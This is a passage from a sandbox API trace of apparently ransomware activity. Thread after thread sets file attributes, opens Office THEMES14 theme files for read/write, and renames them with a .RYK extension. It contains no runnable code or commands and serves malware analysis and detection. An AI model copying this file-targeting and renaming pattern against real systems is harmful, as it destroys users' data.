	[0168.813] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.813] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 409
	os_tid = 0xe90

	[0168.684] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0168.814] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.815] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.815] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 410
	os_tid = 0xe94

	[0168.685] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", dwFileAttributes=0x80) returned 0
	[0168.687] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.687] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.688] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 411
	os_tid = 0xe98

	[0168.816] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF", dwFileAttributes=0x80) returned 0
	[0168.817] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.817] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.817] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 413
	os_tid = 0xea0

	[0168.819] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0168.820] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.820] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.821] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 414
	os_tid = 0xea4

	[0168.822] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0168.822] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.823] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.823] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 415
	os_tid = 0xea8

	[0168.825] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM", dwFileAttributes=0x80) returned 0
	[0168.825] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.826] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.826] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 416
	os_tid = 0xeac

	[0168.827] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF", dwFileAttributes=0x80) returned 0
	[0168.828] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.828] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.828] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 417
	os_tid = 0xeb0

	[0168.830] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0168.830] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.830] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.830] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 418
	os_tid = 0xeb4

	[0168.833] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0168.833] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.833] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.833] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 419
	os_tid = 0xeb8

	[0168.928] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM", dwFileAttributes=0x80) returned 0
	[0169.055] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.055] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.055] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 420
	os_tid = 0xebc

	[0168.929] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF", dwFileAttributes=0x80) returned 0
	[0168.930] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.930] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.930] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 421
	os_tid = 0xec0

	[0168.932] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0168.932] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.933] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.933] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 422
	os_tid = 0xec4

	[0168.934] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0168.934] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.935] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.935] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 423
	os_tid = 0xec8

	[0168.937] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM", dwFileAttributes=0x80) returned 0
	[0169.057] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.057] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.057] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 424
	os_tid = 0xecc

	[0168.938] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF", dwFileAttributes=0x80) returned 0
	[0169.059] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.059] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.059] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\CONCRETE.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\concrete.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 425
	os_tid = 0xed0

	[0168.940] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0168.940] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.941] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.941] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 426
	os_tid = 0xed4

	[0168.942] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0168.943] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0168.943] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0168.943] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 427
	os_tid = 0xed8

	[0169.061] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM", dwFileAttributes=0x80) returned 0
	[0169.177] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.178] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.178] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 428
	os_tid = 0xedc

	[0169.063] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF", dwFileAttributes=0x80) returned 0
	[0169.064] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.064] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.065] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 429
	os_tid = 0xee0

	[0169.066] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0169.066] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.067] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.067] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 430
	os_tid = 0xee4

	[0169.069] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0169.180] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.180] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.180] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 431
	os_tid = 0xee8

	[0169.070] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM", dwFileAttributes=0x80) returned 0
	[0169.182] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.182] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.182] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 432
	os_tid = 0xeec

	[0169.077] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF", dwFileAttributes=0x80) returned 0
	[0169.184] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.184] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.184] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 433
	os_tid = 0xef0

	[0169.078] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0169.079] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0169.079] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0169.079] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 434
	os_tid = 0xef4

